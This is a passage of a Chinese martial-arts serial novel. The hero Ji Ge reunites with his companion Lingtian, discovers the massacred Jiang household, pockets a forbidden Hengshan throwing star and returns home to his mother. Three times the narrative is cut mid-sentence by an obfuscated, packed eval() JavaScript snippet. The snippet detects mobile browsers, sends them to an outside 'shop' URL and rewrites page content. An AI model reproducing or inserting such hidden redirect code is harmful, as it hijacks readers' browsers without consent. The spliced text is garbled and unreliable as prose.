张衡挠了挠头,道:“没必要吧,我看季兄弟不是抠门的人。再说,咱们此去黔南,路途遥远,路上的花费多了去了,还不知道有多少,就咱哥俩这穷酸样,还完得猴年马月了。” 孟浪道:“那你说怎么着,欠了人家的总不能不还吧。” 张衡想了想,道:“要不……咱俩对他好点?处好了,欠点银子也就不算什么了。要是能和他结为兄弟,这银子你的他的,那还分得清吗?” 孟浪一听,忙道:“不妥,那小子太傲,我看不下去。” 张衡还想再劝,孟浪已经埋头刻了下去:“马车一辆,三两……” 张衡:“……” 10. 竹马青梅 车行数日,山中湿气渐重。季歌掀起车帘,向外一看,但见云雾缭绕,变幻莫测,心知已踏入梵净山地界。 车至山门前停稳,青衣派三人下得车来。正欲与季歌一行道别,林子里忽然传出一个甜甜的笑声,道:“季哥哥,你果然在这里!” 众人回头,只见一鹅黄素纱女子自林间缓步而出。头上梳着规整的道髻,无半点珠翠,面上却施着浓妆:粉腮樱唇,一双眸子盈盈带笑。虽作道家装束,却生得皓齿蛾眉,明艳动人。 季歌颇感意外,道:“甜儿,你怎么会在这里?” 女子扑上前来,一把抱住他,娇嗔的道:“我想你呀,一走便是两月,一点消息也没有……”声音软糯又带了几分委屈。 季歌怕旁人见笑,忙轻轻推开她,向众人介绍道:“这是我妹子灵甜,自幼在衡山黄庭观修道,与我一同长大。”说罢,又将青衣派三人引见与她。 静慧、静柔正要见礼,忽见灵甜蹙起双眉,嗔道:“才不是妹子!都说过多少次了!” 语气薄怒,却尽是女儿家娇态。 季歌无奈一笑,抬手轻揽她肩头,打圆场道:“我这妹妹虽说性子顽劣了些,人却热忱大方,极好相与。”又向灵甜道:“这位是孟兄,这位是张兄,往后一段时日,我们还要同行,快来见过二位兄长。” 灵甜眼光淡淡扫过孟浪与张衡,并未依言行礼,只将一对幽怨的小眼神缓缓转向季歌,道:“明明是你比较顽劣。”抬手在他腰上拧了一把。 孟浪看得鸡皮疙瘩都起来了,啧啧道:“季兄弟艳福不浅啊。” 季歌不好意思道:“二位见笑了。”目光落在灵甜发间,道:“怎么又是这副打扮?你可是修道之人,被玉玄子道长瞧见了,又要好好说叨你。” 灵甜撇撇嘴道:“我才不管。玉玄子自己讨不着老婆,还不让别人打扮了。他不讨老婆,别人还要嫁人呢。”说着又上前搂住季歌腰身,双手钳得死死,不肯松开。 静柔在一旁看着,突然喉头哽得难受,眼眶里隐约有了泪水。静姝看到,心里厌恶,斥道:“还愣着做什么,师父都等急了。” 说罢举步踏上石阶,静柔连忙低头跟上,踏入山门那一刻,泪已不自觉落下。 季歌被灵甜搂着,突然脚下站立不稳,颅内翻江倒海。灵甜立时察觉,从他怀里起来,道:“季哥哥,你怎么了?” 季歌扶了扶额,道:“无妨,老毛病犯了。” “可带了药?” 灵甜神色一紧。 季歌道:“还剩最后半瓶。” 说着,从怀里取出一个白瓷小瓶,拔去瓶塞,倒出两颗药丸至手心。灵甜看着他将药丸服下,想起一事,道:“对了,你的请柬可都送完了?” 季歌抬眼示意青衣派的山门:“最后一家。” 灵甜看着他将瓷瓶塞好,放回怀里,轻轻的道:“这半瓶药,约莫能撑你回到衡山了。季哥哥,你第一次下山,便离家这般久,日后不要这样了,太凶险了,至少……身边得有个人陪着。”语含怨怼之意。 季歌屈指轻刮她的鼻尖,笑道:“哪里就那么娇弱了。等见过宣仪师太,我带你去个好玩地方。” 言罢牵了灵甜,随静姝三人一同入内。 时隔多年,宣仪师太与儿时所见并无二致,气度娴雅,淡然出尘。虽已年过五十,却容光不减,眉宇间仍可见当年风姿。 季歌恭恭敬敬地呈上请柬。宣仪接过请柬,粗略看了两眼,自言自语:“下月初三,衡山祝融峰,天下掌门人大会。” “正是。”季歌躬身道,“按照惯例,今年的天下掌门人大会由我问心剑派主办,时间定在下月初三。家父特命晚辈前来,恭请掌门携青衣派弟子赴会。家父翘首以盼。”语气间甚是恭敬。 宣仪合上请柬,目光缓缓落在他身上,道:“你便是季歌?” 季歌恭敬道:“正是晚辈。” 宣仪道:“一晃多年,上次见你,还是七八年前在衡山与你父亲议事。那时你尚年幼,躲在令尊身后不肯出来,十分腼腆胆小。”说着轻叹一声,道:“一转眼,你都这么大了。” 季歌温声道:“晚辈仍记得宣仪姑姑。多年未见,姑姑风采依旧,更胜往昔。” 宣仪闻言,眉眼舒展,笑意温和:“贤侄嘴甜,惯会说话,倒被你父亲教得极好。听闻你自幼体弱,从未下过山?” 季歌道:“承蒙姑姑惦念,侄儿打小身体不好,父亲自小让侄儿留在衡山养病。此番下山,也是借送请柬之机,苦苦央求父亲,才得以外出游历,见识江湖。” 宣仪微微颔首:“令尊令堂近来身体可好?” 季歌道:“托姑姑的福,家父家慈身体康健,他二老也时常念及姑姑,盼着早日与您衡山相聚,共话家常。” 宣仪微微一笑,不再多言。目光转向立于一旁的静姝、静慧身上,道:“你二人可还有事?” 静姝见师父心情甚佳,趁机将自沐恩谷所得的无极剑谱双手奉上:“师父,弟子途中拾得一本剑谱,不知与我派剑法是否相合,特呈请师父过目,看可否让同门修习。” 宣仪淡淡瞥了一眼,道:“路上捡来的,能有何物。” 却还是接了过去,随意翻了两页,念及堂中有客,便道:“先放下,日后再看不迟。静慧,你带客人去厢房歇息。” 季歌连忙道:“不必劳烦姑姑。我与甜儿尚有要事在身,不便久留,待到衡山,再与姑姑把酒长谈。” 宣仪听他这么说,倒也不好强留,于是道:“侄儿既然有事,那便先忙自己的,不要耽搁了。青衣派于你而言,如半个家门,日后想来,随时可至。到时候姑姑让静慧静柔陪你四处转转。” 季歌躬身一礼,道:“多谢姑姑美意,晚辈告辞。” 说完又向静姝等人颔首道别,牵着灵甜缓步退出清音阁。 从清音阁出来,季歌心道:“方才怎没见着静柔妹妹,该与她打个招呼才是。”走下台阶,回首望了眼山间的云雾,心中百思不解。却不知方才他与宣仪寒暄之时,静柔早已悄然回房,独自难过去了。 灵甜见他神色沉郁,轻声道:“季哥哥,我提前五六日便在此等你了。你离开衡山两个多月,按理说早该到了,怎么耽搁了这么长时间?教人家一阵好等。”说着面露埋怨神色。 季歌瞥她一眼,道:“又是季晨说的?” 灵甜抿唇不语,算是默认了。 季歌道:“季晨这个小兔崽子,该当早点把他的嘴缝上。” “别打岔。”灵甜拉住他,道:“你这两个月究竟去哪儿了?从实招来。否则我再也不想理你。” 季歌见瞒不过,干脆道:“我去了沐恩谷。” “沐恩谷?!” 灵甜瞬间张大了嘴。季歌忙竖指于唇,警告道:“此事万不可为我父亲知道,不然又要罚我在思过崖吃一个月牢饭。” 灵甜点了点头,仍是心惊,不放心道:“你去沐恩谷做什么,听说那地方阴邪诡异,那谷主更是性情乖僻,行事阴狠,专干些阴损勾当。你此行可有何收获?” 季歌道:“我从武当来青衣派的路上,见很多江湖人都往落霞山的方向去了。找人打听了一下才知,那沐恩谷以前靠兑现兵刃做交易,这次换成了孤本秘籍,江湖人抱着提升武功的想法,都一窝蜂去了。我心想,天下还有这等美事,好奇心作祟,便跟着去了。” 灵甜没再言语。目光望向正在山下石墩休息的孟浪张衡息:“那他俩呢?是什么人?” 季歌道:“是我在途中茶庄结识的好友。正好碰上青衣派的三名姑子也要去沐恩谷,大家便结伴一起去了。”见她好奇,于是将在沐恩谷一行的经历大略说与她听,只隐去了临行前与汤应寿的那番密语。 灵甜听完,好奇心更甚,道:“你说那老谷主以秘籍利诱,让众人替他杀人劫财,为的是什么?难道真是劫富济贫,锄强扶弱?”说着眉头微蹙,“我总觉得,此事背后另有图谋。” 季歌轻轻摇头,面现迷惘之色,道:“此事我现在还没有搞明白。” 灵甜道:“这里面肯定有古怪,首先那老谷主就很不正常,谷里那些家丁也不怎么对劲,什么鬼谷子,孟夫子,野郎中,这名字就起得蹊跷古 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468416|201347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怪,根本不似寻常下人。” 季歌看她思考问题的模样娇俏可爱,忍不住把她往身前一搂,道:“所以我才说带你去个好地方。 “那沐恩谷装神弄鬼,深藏若虚,要想一探究竟,还得借故再去一趟。所以我才向那老谷主提出来,带那两个块头亲自跑一趟,如此方能深入虎穴。” 二人说话间已走下石阶。孟浪听得脚步声,抬眼望见季歌揽着灵甜走来,一下子精神了,打趣道:“真是美人在怀心不乱啊,季兄弟好艳福。” 季歌白他一眼:“莫要胡说。我这位妹妹认路,接下来黔南一行,便由她带我们去。” 灵甜闻言,一张俏脸复又变色,生气的道:“都说了不是妹妹,怎么还这么说。”说着胳膊肘撞了季歌一下。 这一下撞到了他的臂伤,季歌一声“哎哟”,面露痛苦之色。 灵甜一怔,连忙扶住他,道:“我……我没用力啊……”目光下移,却见他肩胛处的衣料,隐隐透出暗红血迹,当即脸色大变,道:“你……你受伤了?” 季歌强撑道:“无妨,在沐恩谷与人交了手,旧伤复发。只可惜父亲赐我的白羽剑,陪伴了十多年,终究还是折断了。”语气中难掩惋惜。 灵甜听得又气又心疼,道:“你有伤在身为何不说,还要强撑到什么时候?竟然把白羽也折断了?”说着便拉着季歌在石墩坐下,小心翼翼褪下他的外衫。孟浪识相地让开。 只见他右肩连至手臂,横七竖八数道伤痕:有的已结浅疤,有的仍在流脓,新伤未愈,血肉鲜红,隐隐渗血,触目惊心。 灵甜眼眶一红,道:“都成这样了,还说没事!” 季歌自怀中取出两瓶药膏递给她,道:“用这个,沐恩谷谷主送的,药效可以。” 灵甜一边为他上药,一边哽咽道:“你离开衡山的时候明明好好的,怎会伤成这样?” 季歌道:“行走江湖,哪有不挨刀的。” 灵甜道:“我不问别的,只问肩上这几道绽是哪儿来的。” 季歌见她不依不饶,道:“半夜遇到十几个盗匪,打家劫舍,欺负老弱,我看不下去,跟他们打了一架,伤的。” 灵甜道:“那臂上这三道呢?也是跟盗匪打架伤的?” 季歌道:“胳膊不是,哪有那么多盗匪。”见灵甜板着脸,说道:“是路过一个镇子,撞见一帮土豪劣绅正在强抢民女,路见不平。” 顿了顿,“我本来很有胜算,结果打到后头,那帮地头蛇招来了许多官兵,混乱当中被官兵砍的。” 灵甜抹了抹眼泪,道:“你呀你,什么时候能让我省省心。” 季歌安慰道:“别担心,也不是很疼。再说,闯荡江湖,这点小伤,算不得什么。” 孟浪在旁看得真切,见他二人言谈举止暧昧传情,笑道:“当真是郎情妾意,羡煞旁人啊。” 灵甜立刻抬眼,看向孟浪与张衡,语气不满道:“你二人既与他同行,为何不看好他?让他伤成这样,连件干净衣裳也不知替他更换。”说着一张俏脸微微变色。 “换过了换过了。”季歌连忙打圆场,“是新渗的血,与二位兄长无关。再说,此番一路南下,多亏二位兄弟照料,不然我未必能平安到此。往后去黔南,还要多仰仗二位。” 孟浪平白无故被灵甜摆了一道,只觉莫名其妙,正想反驳,忽然想到季歌这身伤是为自己所捱,也算是自己没看护好他,一肚子气瞬间哑火。 张衡瞧着他脸上阵青阵白,突然笑出声来。 孟浪道:“你笑什么?” 张衡道:“我笑二哥竟也会被一个小姑娘拿捏。” 孟浪道:“拿捏什么了?我是懒得跟她计较,一介女流之辈。” 灵甜正待回怼,季歌连忙拍拍她的手,道:“好了好了,多大点事儿,我这不是好端端的在这里么。我跟你说啊甜儿,你可得好好感谢这二位哥哥,要不是他们俩一路相助,你季哥哥也活不到今天,往后去黔南的路,还得多仰仗他俩。” 灵甜虽仍有不甘,但听季歌都这么说了,也只得作罢,只是忍不住悄悄瞪了二人一眼。 11. 江家宅院 上完药,季歌卧在石墩睡着了。他这一路风尘仆仆,身上又带着伤,睡得极沉。 灵甜让张衡守着,招呼孟浪陪她去了趟集市。从绸缎庄出来,手中已多了套洁净的里衣里裤,还有一件青绿色的华贵衣衫,一如那件月白长衫,繁复华丽,价钱不菲。 孟浪只瞧了一眼,便觉好笑,歪着嘴道:“就这行头,还行走江湖?” 灵甜手抚新衣,缓缓的道:“季哥哥有洁癖,最不喜弄脏衣服,也不知穿着那件带血的衣服,一路怎么过来的。” 孟浪啧道:“出门在外还这么讲究,真是矫情。” 灵甜没有理会,在集市又备了些路上的吃食,二人便一起回了青衣派。待季歌休息好了,换上新衣,四人乘坐马车,向西南方向行去。灵甜嫌弃孟浪粗鄙聒噪,不想和他同处一室,便提议让他出去赶车。孟浪虽不情愿,却也懒得和她计较,骂骂咧咧地去了。 过得半日,马车驶入黔南地境,沿途但见风景如画,山川水秀,好不漂亮。四人下了车,边走边慢悠悠地欣赏风景。就这么一路玩到下午,眼看天色渐晚,欲要打尖,却发现附近要么青山绿水,要么荒郊野岭,一个可以投宿的地方都没有。四人只好把车停在路边,在车上将就了一晚。次日天亮,复又启程。 临近江家宅院时,已是夜半。前路黢黑死寂,不见一点星火,若不是四人手中还举着火把,当真寸步难行。眼看这样下去不是办法,季歌道:“我们先找客栈休息一晚,等天亮了再去拜会江老爷。” 灵甜向四周一望,抱怨道:“上哪儿找客栈去啊。自打来了镇子,一个人影都没见着,连客栈酒楼都没有,到处荒郊野岭的。” 季歌心里一沉,道:“甜儿,把地图拿来。” 灵甜依言取出地图,在火光下摊开。季歌对着地图一番研究,发现江家宅院距此已经不远,就在东南方向。略一沉吟,道:“那便只直接去江家吧,看能不能说动江老爷,让我们在江家借宿一晚。” 张衡道:“办法倒是不错,可若是江老爷不同意呢?这么黑的天,四个陌生人贸然投宿,只要是人都会生出戒心来。就怕事情没办成,反倒适得其反,引起江老爷的戒心,明日再想问他要楼兰明珠可就难了。” 季歌心想:“张兄这话也不无道理。”待要另想他法,却见天色如墨,眼下似乎除了江家,别无去处,一时踌躇不决。 灵甜看他为难,轻声道:“季哥哥,待会儿见了江老爷你打算怎么说?总不能……硬来吧?” 季歌道:“此事我路上也不是没有想过。这次出来,我娘给了我几个大金锭子,待会儿看能不能跟江老爷做个交换,只能这样了。”说着转身向马车走去:“走,去江家。” 当下三人复又跳上马车,向江家宅院的方向行进。 及至后半夜,起雾了。 夜雾弥漫中,远远见到前方一座巨型宅院出没,且宅院中未点烛火。弥天大雾中看着,仿若一个庞然怪物,给人以巨大的压迫感。 孟浪吁停了马车,眼望前方,道:“这就是江家宅院?” 灵甜从车帘后面探出头来,看着手中地图,道:“从位置上看,应该是了。” 孟浪道:“这么大的宅院竟然不点烛火?” 灵甜道:“可能是夜里吧,大家都睡了。” 孟浪哼的一声,道:“这样也好,方便我们下手。” 张衡掀起车帘,向前方望了一眼,道:“奇怪,这么大的宅院,就算不点灯,怎的还没有值夜的小厮了?恐怕没那么简单。”说着压低了声音,“大家小心,注意警戒。” 他一向老持成重,且善于观察,心细如发。孟浪每次行走江湖基本都听他的,听他这么一说,当即握紧了手中钢刀,另一只手悄悄探进怀里,摸出两颗霹雳弹来,盘在手心。 霹雳弹是霹雳帮的独门暗器,遇到危险扔出去,触物即炸。不但能对敌人造成一定杀伤力,爆炸后产生的烟雾还能迷惑对方视线,做到出其不意。并且烟雾产生后,经久不散,若是打不过,还能借此机会逃跑。 季歌初出江湖,对一些潜在的危险和异常并不敏感,听张衡这么说,奇道:“难道出了什么事?” 张衡眼望前方,道:“以我的经验判断,是这样。”说着吩咐三人道下车。 众人从马车下来,各自拔出刀剑,轻声慢步向江家宅院靠近。只见前方的宅院静默死寂,一点人声也无,仿佛一座死宅。 四人深吸了口气,屏息凝神,缓缓来到宅院附近。贴着墙根,逡巡了一周,来到大门前,这才发现门前无人看守。 望着院子里黑黢黢一团,无一人敢进。 三人在门前伫立良久,张衡忍不住打了个手势,率先进了大门。只见院里门窗敞着,静寂非常,连虫叫的声音都能听到。整个院子弥漫着一股死的气息,完全不像住人的地方。 张衡在前院将每间房搜查了一遍,一无所获,而后举着火把奔向后院。其余三人缓缓踱入院中,见着眼前死寂景象,不由心底惴惴。灵甜全程紧紧抱着季歌的手臂,不敢松开。 三人正在前院查看着,忽然听到后院传来张衡的声音道:“二哥,快来!” 季歌和孟浪对视一眼,心觉不妙,当即穿过中厅,向后院奔去。 一到后院,冲天的血腥气立时扑面。只见满院尸横就地,倒了二十余人,古稀老妇,垂髫稚童,无论男女老少,家丁护卫,尽皆死于非命。 孟浪道:“二弟,怎么回事!”忍住了嗓子眼想要呕吐的冲动, 张衡缓缓站起身,道:“都死了。” 孟浪道:“一个活口都没有?” 张衡道:“没有。 季歌震惊无比,弯下腰查看死者。只见死者身上并无其他伤口,皆被一道利器割喉,失血窒息而亡。 那伤口极深,极细,且并未出现皮肉撕扯的钝口,似为剑伤,却比剑伤更细更锐,倒像是暗器所为。查看完毕,准备起身,忽然被草丛里的一件物什吸引了注意。 只见一枚十字飞镖插在泥土里,镖上有血迹残留。镖尾还刻了两个字:廿一。微微泛着蓝光。 他的瞳孔在一瞬间迅速放大,眼睑不受控制地剧烈震颤起来。不经意地向不远处的孟浪和张衡瞧了一眼,见他二人正在那边认真地查看尸体,并未注意到这里,当即悄悄伸出手来,将飞镖从泥土中拔出,藏于袖中。整个过程手指不住颤抖。 “怎么样?发现了什么没有?” 片刻,孟浪向他走了过来。 季歌若无其事地站起身来,道:“看样子是有人抢在我们之前,灭了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468417|201347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江家满门。” “谁干的?” “目前还没看出来。” 灵甜走过来,看着遍地尸身,道:“有没有找到楼兰明珠?” “整个宅院没有活口,财物也被提前转运走了,没有发现楼兰明珠。” 说话间,张衡从主殿走了出来,道:“楼兰明珠是夜明珠的一种,若是还在,定会在黑夜里发出光亮,方才转了一圈,没有见到。” 孟浪心里有气,骂道:“肯定又是沐恩谷干的好事!那老杂碎能教臭尼姑抢走我们哥俩的刀谱,就能故技重施,教别人夺走夜明珠,草他奶奶的。” 说着转向张衡,道:“你记不记得,在沐恩谷的时候,那老杂碎就想灭江家满门,一定是看我们不想干这杀人的勾当,才想借刀杀人!” 张衡没有答话。见季歌眉头紧锁,一言不发,沉声道:“季兄弟,你怎么看?” 季歌轻轻摇头,道:“不像……” 孟浪道:“不像?”顿了顿,“那还能有谁!” 季歌道:“也许是江平川的仇家,也许……是江湖上的另一股势力……” “另一股势力?” 三人异口同声:“此话怎讲?” 季歌道:“当时在沐恩谷,孟兄差点与汤应寿同归于尽,那老谷主心里定然清楚是自己行为不轨才惹出了祸端,我想他应该不会故技重施,再次激化矛盾。所以,我更倾向于是另一股势力。” 说到这里,想起一事,道:“有没有找到江平川?” 张衡指了指偏殿方向,“方才那儿见到一具老者的尸身,看着有七八十岁,上了年纪,样貌儒雅,应该是他。” 当下四人转向偏殿。进了偏殿大厅,一具老者的尸身赫然躺在地上,白发白须,气度文雅。季歌蹲下身来,细细查验他的尸体。只见他右手食指和中指的第一关节处结了厚厚的老茧,显然是经常握笔所致,身份与张衡描述一致。且同样伤在咽喉,为一道利器所杀,已无生命迹象。 季歌缓缓站起身,道:“主殿、偏殿加后院一共二十三具尸身,且尸身全部衣着完好,应该不是睡梦中被杀,而是在白天,最晚也在就寝之前。” “凶手杀人后,将宅中上下人等尽数堆于后院,好掩人耳目。江家地处荒僻,左右并无邻居,故此无人发现……” 张衡道:“报官吧,这得报官。” 孟浪道:“这会儿太晚了,等明日天一亮,咱们便去黔南县衙报案,总不能放过凶手。” 张衡幽幽叹了声气,道:“命里没有莫强求,天意如此,造化弄人。二哥,看来你我是注定拿不到十字斩的刀谱了……” 季歌听出他话里的落寞,心中一紧,道:“二位仁兄请放心,在下既然答应了你们,便会竭心尽力。眼下发生了这样的事,谁也不想看到。相信我,小弟一定会彻查此事,给二位一个答复。” 张衡听他慷慨仗义,向他拱了拱手,道:“季兄弟宅心仁厚,能结识季兄弟这样的人才,当是我兄弟二人之幸。” 季歌道:“张兄客气。”眼看夜色浓重,此地又过于阴森,于是道:“我们先离开此处,寻个安身地方住一晚。待明日天亮再报官处理。” 三人心想也只能这样了。当下离开江家宅院,乘坐马车沿着来时路回去。 12. 当家主母 四人驱车三日,终于来到一座热闹市镇。下车后,一行人在客栈一番洗漱修整。 次日,季歌向马商买了两匹马,向孟张二人道:“孟兄张兄,我这次出来已有一段时日,家父家慈惦念许久,再不回去,恐怕又要捱一顿啰唣。如今江家出了这样的事情,谁都不想看到。老谷主安排的任务也没有完成,刀谱的事只能先告一段落。待小弟回家后,将此事禀告双亲,再看如何处理。” 张衡惊道:“季兄弟,你……你要走?” 季歌点头道:“家父家慈一向管教严格,我此番出来已耽搁太久。出门前,家父还安排了敝派一些事务让小弟处理,眼下须得尽快回去复命,请恕小弟不能多陪二位了。” 说着向二人拱了拱手,道:“下月初三,也就是半个月后,天下掌门人大会将在敝派举行,届时还望二位兄弟前来捧场助兴。至于江家后续处理,就麻烦二位兄弟去黔南县衙走一遭了。” 孟浪听他突然要走,一点情面也不留,心里大不乐意,怼道:“得了吧,我们霹雳帮无名无姓,从未受邀参加过什么天下掌门人大会,今年也同样不在你们问心剑派的邀请名单内,无故前往,名不正言不顺,岂非扫了你们衡山的雅兴?” 张衡忙道:“二哥,不得无礼……” 灵甜不客气道:“你这是什么意思?这一路上,季哥哥又出钱又出力的,帮了你们多少忙。要不是他,此番你们还困在沐恩谷,跟那老谷主罗唣呢。眼下季哥哥又好心好意地邀请你们参加衡山的盛会,你倒好,白眼狼一个,非但不领情,还反过来把别人恶心一道。你当你们是什么光明敞亮的门派?还霹雳帮,听都没听过,在武林都排不上号,凭你也配说我们衡山的不是?”说着一揪季歌衣袖,道:“季哥哥,我们走,别理他们!” 季歌拍了拍她的手,笑道:“甜儿,休得无礼。” 转向孟浪道:“孟兄,你若是以霹雳帮副帮主的身份参加天下掌门人大会,自然无人问津,甚至有好事之徒觉着孟帮主身无长物,便来参加如此盛会,对你嗤之以鼻,甚至将你当成前来闹事的闲散人等哄走。可你若是以掌门之子结义兄弟的名义参加,那放眼整个武林都无人小觑,也无人敢过问。别说其他人了,就是我父亲,都得对您另眼相待哪。” 说着向二人一拱手,道:“二位兄台告辞,我们江湖再会。” 出得门来,季歌与灵甜分骑一匹马,向东驰去。季歌心中有事,一路无话,恨不得立即插翅飞回衡山。如此昼夜不停地连赶七日,待到第八日清晨,天蒙蒙亮,人困马乏,难以为继之时,远远见着前方一座山脉苍翠起伏,映入眼帘。 及至山门,季歌吁停了马儿。二人下得马来,季晨带着一众家丁笑盈盈地迎上来,道:“少爷你终于回来啦,我都在这儿等你一上午了。” 季歌没说话,将马鞭交于他,阴沉着脸快步上山。 季晨见他脸色不对,命家丁将马儿牵下去,跟在身后。爬了半日山,见季歌始终走在前面,一言不发,脸色甚是沉重,心里忐忑,向灵甜小声打听道:“灵甜姑娘,你是在哪儿碰到少爷的?” 灵甜道:“青衣派。”顿了顿,打趣:“季晨,你又长高了。” 季晨不好意思道:“灵甜姑娘,咱俩才几时没见,你就别拿我寻开心了。” “父亲在吗?” 季歌突然回过身来。 季晨怔了一怔,道:“老爷在磨镜台呢。” 季歌怪道:“老爷在磨镜台做什么?” 季晨道:“三日后就是天下掌门人大会了,少爷出了趟远门,就把这么重要的事给忘了。” 季歌反应过来。此行他与灵甜快马加鞭赶回衡山,只为心中念念不忘在江家宅院发现的七星镖。那记镖的出现太过离奇,太过蹊跷,以致他这一路心里都极不舒坦,也不踏实,这才日夜兼程地赶回来,反而忘了再过几日便是四年一度的掌门人盛会一事。 季歌沉吟片刻,道:“老爷近来心情如何?” 季晨面露难色,道:“已经十来天没笑过了……” 季歌心底沉了沉,脚下微滞片刻,便即风风火火上山。季晨见他走得飞快,跟在身后追道:“少爷,你这次可千万别再惹老爷生气了。半个月前你来信说不过两日便能回来,这一下过去了十多天,远远超出了信中预期,老爷十分生气,逢人就说‘只是让他下山送个请柬而已,至于那么久回不来?该不会故意躲着老子吧’,总之怨气冲天。” “废话,黔南与衡山相隔迢迢千里,怎么可能两日赶到,这种鬼话,父亲也信。”季歌边走边道。 “可你信中也没说在黔南啊,我们都以为你在湘西……”季晨跟在后面,一副愁眉苦脸。 说完,还是不放心道:“少爷,老爷本就不愿你下山,眼下你在外面浪了大半年,耽搁了这么久,心里早就不知道攒了多少火气。我建议你还是先不要去找老爷了,他现在正在气头上,见了面肯定要大发雷霆,指不定怎么罚你。” “罚就罚呗,左右不过是再挨几道板子,受着不就行了。” 嘴上虽这么说,走到通往磨镜台的分岔路口,还是停了下来,季歌心里掂量了掂量,终于还是转向了佛堂方向:“还是先看娘罢。” 来到佛堂门外,季歌微一定神,准备推门进去。灵甜忸怩道:“我……我就不进去了罢。” 季歌知她害羞,轻轻一笑,道:“来都来了,怕什么,又不是没见过如花似玉的季夫人,害什么臊啊。”说着牵起她的手,径直入内。 纪霜华刚礼完佛,回身见到季歌,立时脸上现出错愕来。很快,满脸错愕转为满脸欣喜。纪霜华按捺不住,喜极而泣,最后捂脸痛哭起来。 “娘……” 季歌不忍她伤心难过,上前轻轻搂住了她的肩,拍拍她的背,道:“我不是在这儿呢嘛。” 纪霜华拭去眼泪,牵着他的手,左看右看,生怕他缺条胳膊少条腿儿。看着看着,忽然心中更增难过,复又落泪,道:“瘦了,也黑了……” 话至此处,突然抬起手来,在他腰上拧了一把,愠道:“出去大半年,才回来两封信,一共五个字,把你爹你娘是半句没提,我看你是翅膀硬了,想飞了。” “娘……“季歌轻轻摇着纪霜华一只手,道:“孩儿错了还不行么。” 纪霜华被他这么一哄,刚狠起来的一颗心立时化了,再也不忍多加责怪,板起脸,佯装生气道:“这次就算了,下不为例啊!” “好——” 季歌拖长了语调。 纪霜华见自己的宝贝儿子出去了一趟,性格似乎稳重了不少,许是黑了瘦了,样貌也看着成熟了许多,一把将他搂入怀里,高兴道:“长大了,也成熟了,是娘的好儿子。” 笑中带泪。 这时,灵甜在一旁咯咯笑了两声。 纪霜华这才想起还有外人在,忙放开季歌,拭去眼角泪痕,敛了敛容,道:“甜儿,你师父近来身体可好?” 灵甜道:“师父一向身体康健,夫人勿念。” 纪霜华微微一笑,将她从头到脚打量了一番,道:“甜儿现在出落得也是愈发标致漂亮了,几个月不见,已经不是小时候和季儿玩耍的女孩子样了。” 季歌道:“娘,怎么说话呢,几个月怎就能长成现在这样。更何况甜儿早就不是小时候的小女孩了,你只是一段时间没见,才发现而已。” “是是……”纪霜华脸带羞色,忙道:“我是好久没见甜儿了。” 灵甜见他们母子语带机锋,轻轻一笑,道:“要我说,夫人才是真正的标致漂亮,不然也生不出季哥哥这样天上地下,独一无二的标致人物。哪怕已经长得人高马大,他的娘亲看着还是貌美如花,如年轻小女孩般青春靓丽。” 一句话说到了纪霜华心坎里。纪霜华高兴得笑不拢嘴,牵起灵甜的手,道:“季儿,这点你可得多向甜儿学习,会说话行走江湖多方便啊,还不会吃亏。可别什么都学了你那老子的犟种脾气,一句话不对就上纲上线,怼天怼地,破罐子破摔,到处得罪人。” “知道啦——”季歌拖长了语调答应,心里却嘀咕:“还不都是你惯的。” 说到这里,想起七星镖一事,连忙郑重其事道:“娘,孩儿回来的路上遇到了一件怪事,事发蹊跷,须得向父亲当面禀报一声。” 纪霜华看他脸色严肃,便道:“什么事?” 季歌道:“孩儿回来的路上,路过了黔南。在黔南发现当地一代宿儒江平川江老先生家,无论男女老少全被灭了口。并且……还在江家发现了这个……” 说着自怀里摸出那支七星镖,展示给纪霜华看。 纪霜华一张俏脸微微变色,颤抖着手接过七星镖,细细端详起来。半晌,看向季歌,道:“这可是我们衡山之物,早在十年前就因杀伤力过强,被你爹爹封禁了。如何会出现在相距千里的黔南江家?还是满门被灭的凶案现场?” “此事我也觉着蹊跷。”季歌在地上踱起了步子,“按理说当年这批七星镖都被父亲封禁在了兵器库,兵器库的钥匙由父亲保管。且库房的周围设下重重守卫,除了父亲以外,无人能进去,除非得到父亲的首肯。” 说到这里,语气一顿,“父亲断然不会做出这等事来,问心剑派的其他人也不会。就算兵器库没有上锁,也无人把手,相信在父亲的治下,放眼整个衡山也不会有人私自前往盗窃,借以伤人。” “这个人,一定是外面的人。” 说着看向纪霜华,目光炯炯,十分坚定。 纪霜华看着手中的七星镖,轻轻点了点头,脸现迷惘之色。 “那么问题 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17468418|201347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 